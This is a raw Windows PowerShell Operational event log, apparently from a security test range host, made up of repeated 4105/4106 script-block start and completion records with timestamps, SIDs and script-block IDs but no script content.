Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046615
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046610
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046609
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046587
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046585
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046584
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046568
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046567
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
